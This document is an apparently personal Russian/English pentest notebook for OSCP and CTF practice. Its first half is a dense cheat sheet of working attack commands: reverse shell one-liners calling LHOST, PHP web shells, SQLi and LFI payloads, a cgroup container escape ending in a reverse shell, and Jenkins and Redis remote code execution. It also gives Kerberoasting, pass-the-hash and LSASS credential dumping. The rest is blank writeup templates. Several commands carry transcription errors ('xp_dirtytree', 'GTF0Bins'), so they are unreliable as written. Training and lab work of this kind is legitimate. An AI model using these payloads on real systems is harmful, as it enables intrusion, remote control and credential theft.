



PENTEST NOTEBOOK

RED TEAM // OSCP PREP // CTF WRITEUPS

2026

СОДЕРЖАНИЕ

I. RECONNAISSANCE & ENUMERATION

- Nmap, Gobuster, FFuF, Web Checklist

II. EXPLOITATION

- Reverse Shells, File Transfers, SQLi
- LFI/RFI, File Upload Attacks

III. PRIVILEGE ESCALATION

- Linux Privesc, Windows Privesc

IV. CONTAINER ESCAPES

- Docker: Privileged и Unprivileged
- Определение контейнера, монтирование хоста

V. ACTIVE DIRECTORY

- AD Enumeration, AD Attacks, AD Tools
- PowerView — ручная разведка домена

VI. PIVOTING & TUNNELING

- Ligolo-ng, Chisel, SSH Tunneling
- socat, netsh, plink

VII. SERVICE CHEAT SHEETS

- Redis, Jenkins, MSSQL, NFS

VIII. PASSWORD ATTACKS

- Hashcat / John режимы, Password Spraying
- Извлечение хешей, Wordlist Generation

IX. MITRE ATT&CK; REFERENCE

- 14 тактик Enterprise

X. MACHINE WRITEUP TEMPLATES

- 10x шаблонов + Remediation

XI. TOOL STUDY TEMPLATES

- 10x шаблонов для инструментов

XII. NOTES

- Страницы с точечной разметкой

I. RECONNAISSANCE & ENUMERATION

НМАР — Сканирование портов

Тип	Команда	Описание
TCP SYN	<code>nmap -sS <ip></code>	Полуоткрытый (root)
TCP Connect	<code>nmap -sT <ip></code>	Полный handshake
UDP	<code>nmap -sU <ip></code>	UDP-порты
Version	<code>nmap -sV <ip></code>	Версии сервисов
Aggressive	<code>nmap -A <ip></code>	OS+Version+Scripts
Scripts	<code>nmap -sC <ip></code>	Default NSE
Vuln	<code>nmap --script vuln <ip></code>	Проверка CVE
All Ports	<code>nmap -p- <ip></code>	65535 портов

Рабочие комбинации

```
# Quick full + targeted
nmap -p- --min-rate=5000 -Pn <ip> -oN allports.txt
nmap -p <ports> -sCV <ip> -oN targeted.txt

# UDP top-20 | SMB enum | All formats
nmap -sU --top-ports 20 -sV <ip>
nmap -p445 --script smb-enum-shares,smb-enum-users <ip>
nmap -sCV -oA scan_results <ip>
```

GOBUSTER / FFUF

Режим	Команда	Описание
dir	gobuster dir -u URL -w WL	Директории
dns	gobuster dns -d DOMAIN -w WL	Поддомены
vhost	gobuster vhost -u URL -w WL	Виртуальные хосты

Флаги: -w wordlist -x php,txt,bak -t 50 -s 200,301 -b 404 -o out.txt -k

FFuF: директории / vhosts / POST brute

ffuf -u http://TARGET/FUZZ -w common.txt

ffuf -u http://TARGET -H "Host: FUZZ.target.com" -w sub.txt -fs <sz>

ffuf -u http://TARGET/login -X POST -d "user=admin&pass=FUZZ" -w pw.txt

Фильтры: -fc 403,404 -fs 1234 -fw 42 -mc 200,301

Wordlists (SecLists)

Назначение	Путь
Directories	/usr/share/seclists/Discovery/Web-Content/common.txt
Dirs big	.../Web-Content/big.txt
Dirs raft	.../Web-Content/raft-medium-directories.txt
Subdomains	.../DNS/subdomains-top1million-5000.txt
Passwords	.../Passwords/Leaked-Databases/rockyou.txt

WEB ENUMERATION CHECKLIST

Шаг	Инструменты
1. Технологии	whatweb, wappalyzer, curl -I
2. Robots	curl /robots.txt, /sitemap.xml
3. Директории	gobuster/ffuf + wordlists
4. Поддомены	ffuf vhost / gobuster dns / amass
5. Source Code	Ctrl+U, JS, комментарии, API
6. CMS	wpscan, droopescan, joomscan
7. Nikto	nikto -h <url>
8. API	/api/, /v1/, /swagger.json, /graphql

II. EXPLOITATION

REVERSE SHELLS

```
# LISTENERS
nc -lvnp 4444   rlwrap nc -lvnp 4444
socat file:`tty`,raw,echo=0 tcp-listen:4444
pwncat-cs -lp 4444
```

Язык	Payload
Bash	bash -i >& /dev/tcp/LHOST/LPORT 0>&1
Python	python3 -c 'import os,pty,socket;s=socket.socket(); s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
PHP	php -r '\$s=fsockopen("LHOST",LPORT); exec("/bin/bash <&3 >&3 2>&3");'
NC	nc -e /bin/bash LHOST LPORT
NC no -e	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f /bin/bash -i 2>&1 nc LHOST LPORT >/tmp/f
Perl	perl -e 'use Socket;\$i="LHOST";\$p=LPORT; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); connect(S,sockaddr_in(\$p,inet_aton(\$i))); open(STDIN,">&S");open(STDOUT,">&S");exec("/bin/sh");'
PowerShell	\$c=New-Object Net.Sockets.TCPClient("LHOST", LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535 %{0};while((\$i=\$s.Read(\$b,0,\$b.Length))-ne 0){\$d=(New-Object Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1 Out-String);\$s.Write([text.encoding]::ASCII.GetBytes(\$r), 0,\$r.Length)}

TTY UPGRADE

```
python3 -c "import pty;pty.spawn('/bin/bash')"
```

```
# Ctrl+Z
```

```
stty raw -echo; fg
```

```
export TERM=xterm-256color; stty rows 40 cols 120
```

FILE TRANSFERS

Метод	Linux / Windows
Python HTTP	python3 -m http.server 8080
wget/curl	wget http://LHOST/f -O /tmp/f curl http://LHOST/f -o /tmp/f
certutil (Win)	certutil -urlcache -split -f http://LHOST/f C:\Temp\f
PS (Win)	IWR -Uri http://LHOST/f -OutFile C:\Temp\f
SMB	# Kali: impacket-smbserver share . -smb2support # Win: copy \\LHOST\share\f .
NC	nc -lvnp 9999 > file (recv) nc RHOST 9999 < file (send)
Evil-WinRM	upload /path/f C:\Temp\f

SQLi QUICK REFERENCE

Тип	Payload
Detect	' OR 1=1-- - " OR 1=1-- -
UNION cols	' ORDER BY 1-- - (до ошибки) ' UNION SELECT NULL,NULL,NULL-- -
UNION data	' UNION SELECT 1,user(),database())-- -
Error-based	' AND extractvalue(1,concat(0x7e,(SELECT @@version)))-- -
Blind Bool	' AND SUBSTRING(user(),1,1)='r'-- -
Blind Time	' AND IF(1=1,SLEEP(5),0)-- -
Stacked	'; EXEC xp_cmdshell('whoami');-- -
Auth Bypass	admin'-- - admin' OR '1'='1'-- -

```
sqlmap -u "http://target/page?id=1" --dbs
sqlmap -r request.txt --batch --level=5 --risk=3
sqlmap ... --os-shell
```

LFI / RFI — Local / Remote File Inclusion

Техника	Payload
Basic LFI	?page=../../../../etc/passwd ?page=../../../../../../../../etc/passwd
Null byte	?page=../../../../etc/passwd%00
php://filter	?page=php://filter/convert.base64-encode/ resource=index.php
php://input	POST: ?page=php://input Body: <?php system(\$_GET['c']); ?>
data://	?page=data://text/plain;base64,PD9waHAga3lz...
Log Poison (Apache)	1. curl -A '<?php system(\$_GET["c"]);?>' http://tgt/ 2. ?page=/var/log/apache2/access.log&c=id
Log Poison (SSH)	1. ssh '<?php system(\$_GET["c"]);?>'@target 2. ?page=/var/log/auth.log&c=id
RFI	?page=http://LHOST/shell.php (allow_url_include = On)

Файлы для чтения

```
# Linux: /etc/passwd /etc/shadow /home/user/.ssh/id_rsa
/var/log/apache2/access.log /proc/self/environ
# Windows: C:\Windows\win.ini C:\inetpub\wwwroot\web.config
```

FILE UPLOAD ATTACKS — Обход фильтров

Обход	Техника
Расширения	.php .php5 .phtml .phar .phps .php.jpg .pHp (case) .php::\$DATA
Double ext	shell.php.jpg shell.jpg.php
Content-Type	Burp: Content-Type: image/jpeg (при загрузке .php)
Magic bytes	GIF89a;<?php system(\$_GET['c']); ?> FFD8FF (JPEG header)
.htaccess	AddType application/x-httpd-php .jpg затем shell.jpg
ZIP/PHAR	phar://uploads/shell.zip/shell.php zip://uploads/shell.zip#shell.php
Race cond.	Загрузить и обратиться до удаления

Web shells

```
<?php system($_GET["cmd"]); ?>
```

```
<?php echo shell_exec($_REQUEST["cmd"]); ?>
```

```
msfvenom -p php/reverse_php LHOST=IP LPORT=4444 -o shell.php
```


III. PRIVILEGE ESCALATION

LINUX PRIVESC

АВТО: [linpeas.sh](#), [LinEnum.sh](#), [linux-exploit-suggester](#)

Вектор	Проверка	Эксплуатация
sudo -l	sudo -l	GTF0Bins: sudo <bin>
SUID	find / -perm -4000 2>/dev/null	GTF0Bins SUID
Capabilities	getcap -r / 2>/dev/null	cap_setuid: python/perl
Cron	cat /etc/crontab; pspy64	Подмена скрипта / Path inj
Writable PATH	echo \$PATH; find / -writable -type d	Подмена бинарника
Kernel	uname -a; searchsploit linux kernel	DirtyPipe, PwnKit
Passwords	history; env; find / -name '*.conf'	su / ssh reuse
SSH Keys	find / -name id_rsa 2>/dev/null	ssh -i id_rsa user@tgt
NFS	cat /etc/exports; showmount -e	no_root_squash
Docker/LXC	id (docker/lxd group)	docker run -v /:/mnt --rm -it alpine
Wildcard	cat backup.sh	tar --checkpoint-action=exec=sh

WINDOWS PRIVESC

АВТО: winPEAS, PowerUp.ps1, SharpUp, Seatbelt

Вектор	Проверка	Эксплуатация
Service Misconfig	sc query state= all icacils <path>	Подмена бинарника
Unquoted Path	wmic service get name,pathname	Payload в пробел
AlwaysInstall	reg query HKLM\...\Installer	msfvenom -f msi
Selmpersona te	whoami /priv	PrintSpoofer / GodPotato
Sched Tasks	schtasks /query /fo TABLE	Подмена скрипта
AutoRuns	reg query HKLM\...\Run	Подмена exe
DLL Hijack	procmon: NAME NOT FOUND	DLL с payload
Credentials	cmdkey /list	runas /savecred
UAC Bypass	whoami /groups	fodhelper.exe

Quick enum: whoami /all & systeminfo & net user & netstat -ano

IV. CONTAINER ESCAPES

ОПРЕДЕЛЕНИЕ КОНТЕЙНЕРА

Признак	Команда / Проверка
/.dockerenv	ls -la /.dockerenv (файл существует = Docker)
cgroup	cat /proc/1/cgroup grep -i docker cat /proc/1/cgroup grep -i lxc
hostname	hostname (случайный хеш = контейнер)
PID 1	cat /proc/1/cmdline (не systemd/init = контейнер)
mount	mount grep overlay (overlayfs = Docker)
Мало процессов	ps aux (очень мало процессов = контейнер)
Capabilities	capsh --print (ограниченный набор)

PRIVILEGED CONTAINER ESCAPE

Если контейнер запущен с --privileged или --cap-add=ALL

Метод	Команды
Mount host filesystem	# Найти диск хоста fdisk -l или lsblk # Смонтировать корень хоста mkdir /mnt/host mount /dev/sdal /mnt/host # Доступ ко всей ФС хоста ls /mnt/host/root/ cat /mnt/host/etc/shadow cat /mnt/host/root/.ssh/id_rsa
nsenter	# Перейти в namespace PID 1 хоста nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash # Теперь вы root на хосте!
Cgroup release_agent	# Классический escape через cgroup notify mkdir /tmp/cgrp; mount -t cgroup -o rdma cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release host_path=\$(sed -n 's/.*upperdir=\\([^\,]*\\).*/\\1/p' /etc/mtab) echo "\$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' >> /cmd chmod +x /cmd sh -c 'echo \$\$ > /tmp/cgrp/x/cgroup.procs'
chroot	# Если хост FS смонтирована chroot /mnt/host /bin/bash

UNPRIVILEGED CONTAINER ESCAPE

Метод	Описание / Команды
Docker Socket	# Если docker.sock доступен внутри контейнера <code>ls -la /var/run/docker.sock</code> # Создать privileged контейнер и смонтировать хост <code>curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create -H 'Content-Type: application/json' -d '{"Image": "alpine", "Cmd": ["chroot", "/mnt", "sh"], "Binds": ["/:/mnt"], "Privileged": true}'</code> # Или через docker CLI если доступен: <code>docker run -v /:/mnt --rm -it alpine chroot /mnt sh</code>
Exposed API	# Docker API без аутентификации (порт 2375/2376) <code>curl http://HOST:2375/version</code> <code>curl http://HOST:2375/containers/json</code> # Создать контейнер через API с mount /
CVE-2019-5736 (runC)	# runC < 1.0.0-rc6 # Перезапись runC binary через /proc/self/exe # PoC: github.com/Frichetten/CVE-2019-5736-PoC
CVE-2020-15257 (containerd)	# containerd < 1.3.9 / 1.4.3 # Abstract unix socket доступ к containerd shim API
Sensitive mounts	# Проверить доступные mount'ы: <code>mount grep -E 'proc sys dev'</code> # /proc/sysrq-trigger (SysRq команды) # /sys/fs/cgroup (cgroup manipulation) # /dev (raw device access)
Capabilities abuse	# Проверить capabilities: <code>capsh --print</code> # CAP_SYS_ADMIN: mount host disk # CAP_SYS_PTRACE: inject into host process # CAP_NET_ADMIN: network manipulation # CAP_DAC_READ_SEARCH: read any file

Инструменты: `deepce.sh` (Docker enum), `CDK` (container exploitation toolkit), `amicontained`

V. ACTIVE DIRECTORY

AD ENUMERATION

Задача	Команда
Домен/DC	<code>nmap -p 53,88,135,389,445,636,3268,3389 nslookup -type=srv _ldap._tcp.dc._msdcs.DOMAIN</code>
Enum users	<code>enum4linux -a DC nxc smb DC -u '' -p '' --users kerbrute userenum users.txt -d DOMAIN --dc DC</code>
RPC	<code>rpcclient -U '' -N DC > enumdomusers > enumdomgroups</code>
LDAP	<code>ldapsearch -x -H ldap://DC -b 'DC=dom,DC=local' ldapdomaindump -u 'DOM\user' -p 'pass' DC</code>
SMB shares	<code>smbclient -L //DC -N nxc smb DC -u user -p pass --shares</code>
BloodHound	<code>bloodhound-python -u user -p pass -d DOM -c All -ns DC</code>
GPP	<code>gpp-decrypt <password></code>

AD ATTACKS

Атака	Команда
AS-REP Roasting	GetNPUsers.py DOM/ -usersfile u.txt -no-pass -dc-ip DC hashcat -m 18200 hash rockyou.txt
Kerberoasting	GetUserSPNs.py DOM/user:pass -dc-ip DC -request hashcat -m 13100 hash rockyou.txt
Pass the Hash	psexec.py DOM/admin@TGT -hashes :NTHASH nxc smb TGT -u admin -H NTHASH
Pass the Ticket	export KRB5CCNAME=ticket.ccache psexec.py DOM/admin@TGT -k -no-pass
DCSync	secretsdump.py DOM/admin:pass@DC mimikatz: lsadump::dcsync
Golden Tkt	ticketer.py -nthash KRBTGT_HASH -domain-sid SID -domain DOM administrator
Silver Tkt	ticketer.py -nthash SVC_HASH -domain-sid SID -domain DOM -spn SPN admin
NTLM Relay	responder -I eth0 ntlmrelayx.py -t TGT -smb2support
AD CS	certipy find -u user -p pass -dc-ip DC certipy req -ca CA -template VULN_TPL

AD TOOLS

Инструмент	Ключевые команды
Impacket	psexec.py / wmiexec.py / smbexec.py / secretsdump.py
nxc (CME)	nxc smb RANGE -u user -p pass --sam / --lsa / --ntds
Rubeus	Rubeus.exe asreproast / kerberoast / ptt
Mimikatz	sekurlsa::logonpasswords / lsadump::dcsync
Evil-WinRM	evil-winrm -i TGT -u user -p pass / -H HASH

POWerview — Ручная разведка AD

`IEX(New-Object Net.WebClient).DownloadString('http://LHOST/PowerView.ps1')`

Задача	Команда
Домен	<code>Get-Domain Get-DomainController Get-DomainPolicy</code>
Пользователи	<code>Get-DomainUser Get-DomainUser -SPN # Kerberoastable Get-DomainUser -PreauthNotRequired # AS-REP</code>
Группы	<code>Get-DomainGroup Get-DomainGroupMember 'Domain Admins'</code>
Компьютеры	<code>Get-DomainComputer Get-DomainComputer -OperatingSystem '*Server*'</code>
Shares	<code>Find-DomainShare -CheckShareAccess</code>
ACL	<code>Find-InterestingDomainAcl Get-DomainObjectAcl -Identity 'user' -ResolveGUIDs</code>
GPO	<code>Get-DomainGPO Get-DomainGPOLocalGroup</code>
Trust	<code>Get-DomainTrust Get-ForestDomain</code>
Hunting	<code>Find-LocalAdminAccess Invoke-UserHunter</code>

AD PS Quick Enum (без PowerView)

```
Get-ADUser -Filter * -Properties *
Get-ADGroupMember "Domain Admins"
Get-ADComputer -Filter * -Properties *
Get-ADUser -Filter {ServicePrincipalName -ne "$null"}
-Properties ServicePrincipalName
```

VI. PIVOTING & TUNNELING

LIGOLO-NG — Современный туннель

```
# SETUP (Attacker)
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# AGENT (Target / Pivot host)
./agent -connect LHOST:11601 -ignore-cert

# В PROXY CONSOLE
session # выбрать сессию
sudo ip route add 10.10.10.0/24 dev ligolo # маршрут
start # запустить туннель

# LISTENER для reverse shell через pivot
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
```

CHISEL — HTTP-туннелирование

Сценарий	Команды
Reverse SOCKS	# Attacker: chisel server -p 8080 --reverse # Target: chisel client LHOST:8080 R:socks # proxychains.conf: socks5 127.0.0.1 1080
Forward port	# Attacker: chisel server -p 8080 --reverse # Target: chisel client LHOST:8080 R:8888:TGT:80 # http://127.0.0.1:8888
Double pivot	# 1-й pivot как выше # 2-й: proxychains chisel client PIVOT2:8080 R:socks

SSH TUNNELING

Тип	Команда	Описание
Local (-L)	ssh -L LPORT:TARGET:RPORT user@PIVOT	Удалённый порт → localhost
Remote (-R)	ssh -R RPORT:TARGET:LPORT user@PIVOT	Локальный порт → pivot
Dynamic (-D)	ssh -D 1080 user@PIVOT proxychains ...	SOCKS proxy через PIVOT
Jump (-J)	ssh -J user@PIVOT1 user@PIVOT2	Двойной pivot

PORT FORWARDING — socat / netsh

Инструмент	Команда
socat (Linux)	socat TCP-LISTEN:8080,fork TCP:TARGET:80 socat TCP-LISTEN:4444,fork TCP:LHOST:4444
netsh (Win)	netsh interface portproxy add v4tov4 listenport=8080 connectport=80 connectaddress=TGT netsh interface portproxy show all

Инструмент	Команда
plink (Win)	plink.exe -ssh -l user -pw pass -R LPORT:127.0.0.1:TGT_PORT LHOST

VII. SERVICE CHEAT SHEETS

REDIS — порт 6379

Задача	Команда
Connect	redis-cli -h IP -p 6379 redis-cli -h IP -a 'password'
Enum	INFO; CONFIG GET *; KEYS *; GET <key>
RCE webshell	CONFIG SET dir /var/www/html/ CONFIG SET dbfilename shell.php SET payload "<?php system(\$_GET['c']);?>" SAVE
RCE SSH key	CONFIG SET dir /home/user/.ssh/ CONFIG SET dbfilename authorized_keys SET payload "\n\n<PUBKEY>\n\n"; SAVE

JENKINS — порт 8080

Задача	Метод
Default creds	admin:admin admin:password admin:jenkins
Script Console /script	def cmd = ['bash','-c', 'bash -i >&/dev/tcp/LHOST/LPORT 0>&1'].execute()
Cmd exec	def cmd = 'whoami'.execute(); println cmd.text
Build RCE	Freestyle → Build → Execute shell

MSSQL — порт 1433

Задача	Команда
Connect	impacket-mssqlclient DOM/user:pass@TGT impacket-mssqlclient user:pass@TGT -windows-auth
xp_cmdshell enable	EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
RCE	EXEC xp_cmdshell 'whoami';
NTLM steal	EXEC xp_dirtytree '\\LHOST\share';
Linked srv	EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SRV];

NFS — порт 2049

Задача	Команда
Enum	showmount -e IP nmap -p111,2049 --script nfs-ls,nfs-showmount IP
Mount	mkdir /mnt/nfs; mount -t nfs IP:/share /mnt/nfs -o nolock
Privesc	# no_root_squash в /etc/exports: cp /bin/bash /mnt/nfs/bash; chmod +s /mnt/nfs/bash # Ha target: /share/bash -p

VIII. PASSWORD ATTACKS

HASHCAT / JOHN — Режимы хешей

Хеш	Hashcat -m	John --format	Пример
MD5	0	raw-md5	5d41402abc4b2a76...
SHA1	100	raw-sha1	aaf4c61ddcc5e8a2...
SHA256	1400	raw-sha256	2cf24dba5fb0a30e...
SHA512	1800	sha512crypt	\$6\$rounds=...
NTLM	1000	nt	b4b9b02e6f09a9bd...
NTLMv2	5600	netntlmv2	user::DOM:challenge...
Kerberos AS-REP	18200	krb5asrep	\$krb5asrep\$23\$...
Kerberos TGS	13100	krb5tgs	\$krb5tgs\$23\$...
bcrypt	3200	bcrypt	\$2a\$10\$...
MD5 Unix	500	md5crypt	\$1\$salt\$hash
SHA512 Unix	1800	sha512crypt	\$6\$salt\$hash
MySQL	300	mysql-sha1	*94BDCEBE19083CE2...
MSSQL	1731	mssql12	0x0200...
WPA/WPA2	22000	wpa-psk	.hccapx / .22000 file

Hashcat примеры

Основные атаки

hashcat -m MODE hash.txt rockyou.txt # dictionary

hashcat -m MODE hash.txt rockyou.txt -r best64.rule # rules

hashcat -m MODE hash.txt -a 3 ?a?a?a?a?a # brute 6 chars

hashcat -m MODE hash.txt -a 6 rockyou.txt ?d?d # hybrid

Маски: ?l=a-z ?u=A-Z ?d=0-9 ?s=special ?a=all

Rules: /usr/share/hashcat/rules/best64.rule

ИЗВЛЕЧЕНИЕ ХЕШЕЙ

Источник	Команда
Linux shadow	unshadow /etc/passwd /etc/shadow > hashes.txt john hashes.txt --wordlist=rockyou.txt
SAM (Win)	secretsdump.py user:pass@TARGET reg save HKLM\SYSTEM system impacket-secretsdump -sam sam -system system LOCAL
NTDS.dit	secretsdump.py DOM/admin:pass@DC -just-dc-ntlm nxc smb DC -u admin -p pass --ntds
LSASS	mimikatz: sekurlsa::logonpasswords procdump -ma lsass.exe lsass.dmp pypykatz lsass minidump lsass.dmp
/etc/shadow	hashcat -m 1800 (SHA512) или -m 500 (MD5)

Источник	Команда
KeepPass	keepass2john db.kdbx > hash.txt john hash.txt --wordlist=rockyou.txt
ZIP/RAR	zip2john file.zip > hash.txt rar2john file.rar > hash.txt
SSH key	ssh2john id_rsa > hash.txt

PASSWORD SPRAYING / BRUTE

Инструмент	Команда
nxc SMB	nxc smb DC -u users.txt -p 'Password1' --continue-on-success
nxc WinRM	nxc winrm DC -u users.txt -p passwords.txt
Kerbrute	kerbrute passwordspray -d DOMAIN users.txt 'Password1'
Hydra SSH	hydra -L users.txt -P pass.txt ssh://TARGET
Hydra HTTP	hydra -l admin -P pass.txt TARGET http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'
Medusa	medusa -h TARGET -U users.txt -P pass.txt -M ssh

WORDLIST GENERATION

```
# Генерация кастомного wordlist
cewl http://target -d 3 -m 5 -w cewl.txt
crunch 8 8 -t @@@%$$$ -o wordlist.txt
john --wordlist=base.txt --rules --stdout > mutated.txt
hashcat --stdout -r best64.rule base.txt > mutated.txt
```

```
# Username generation
username-anarchy -i fullnames.txt
```

IX. MITRE ATT&CK REFERENCE

Enterprise Tactics — 14 тактик

ID	Тактика	Описание	Топ-техники CTF
TA0043	Recon	Разведка	T1595 Active Scanning
TA0042	Resource Dev	Подготовка	T1583 Acquire Infra
TA0001	Initial Access	Начальный доступ	T1190 Exploit Public App
TA0002	Execution	Выполнение	T1059 Command/Script
TA0003	Persistence	Закрепление	T1136 Create Account
TA0004	Priv Esc	Повышение	T1068 Exploit for PrivEsc
TA0005	Def Evasion	Обход защиты	T1070 Indicator Removal
TA0006	Cred Access	Кража учёток	T1003 OS Cred Dump
TA0007	Discovery	Разведка в сети	T1083 File Discovery
TA0008	Lateral Mvmt	Горизонтальное	T1021 Remote Services
TA0009	Collection	Сбор данных	T1005 Data from Local
TA0011	C2	Управление	T1071 App Layer Proto
TA0010	Exfiltration	Вывод данных	T1041 Over C2 Channel
TA0040	Impact	Деструкция	T1486 Data Encrypted

X. MACHINE WRITEUP TEMPLATES

Шаблоны для HTB, THM, ACLabs, Standoff 365. Включают Remediation.

MACHINE WRITEUP #1

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #2

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #3

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #4

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #5

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #6

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / Exploitation:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #7

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #8

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #9

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

MACHINE WRITEUP #10

Platform:

Machine:

Date:

Difficulty:

OS:

IP:

Rating:

OPEN PORTS

Port	Service	Version	Notes

RECON / ENUMERATION:

INITIAL Foothold / EXPLOITATION:

USER FLAG:

user.txt:

Method:

PRIVILEGE ESCALATION:

root.txt:

Vector:

KEY TOOLS USED:

MITRE ATT&CK;

Phase	Tactic	Technique ID

REMEDIATION / ИСПРАВЛЕНИЕ

Уязвимость	Рекомендация по исправлению	Приоритет

LESSONS LEARNED:

XI. TOOL STUDY TEMPLATES

Шаблоны для изучения инструментов.

TOOL STUDY #1

Tool Name:	Category:	Date:
------------	-----------	-------

Official Docs:	GitHub:
----------------	---------

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #2

Tool Name:	Category:	Date:

Official Docs:	GitHub:

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #3

Tool Name:	Category:	Date:

Official Docs:	GitHub:

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #4

Tool Name:	Category:	Date:

Official Docs:	GitHub:

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

USEFUL FLAGS / ПОЛЕЗНЫЕ ФЛАГИ:

USE CASES / СЦЕНАРИИ:

PERSONAL NOTES / ЗАМЕТКИ:

TOOL STUDY #5

Tool Name:	Category:	Date:

Official Docs:	GitHub:

PURPOSE / НАЗНАЧЕНИЕ:

INSTALLATION / УСТАНОВКА:

KEY COMMANDS / КЛЮЧЕВЫЕ КОМАНДЫ:

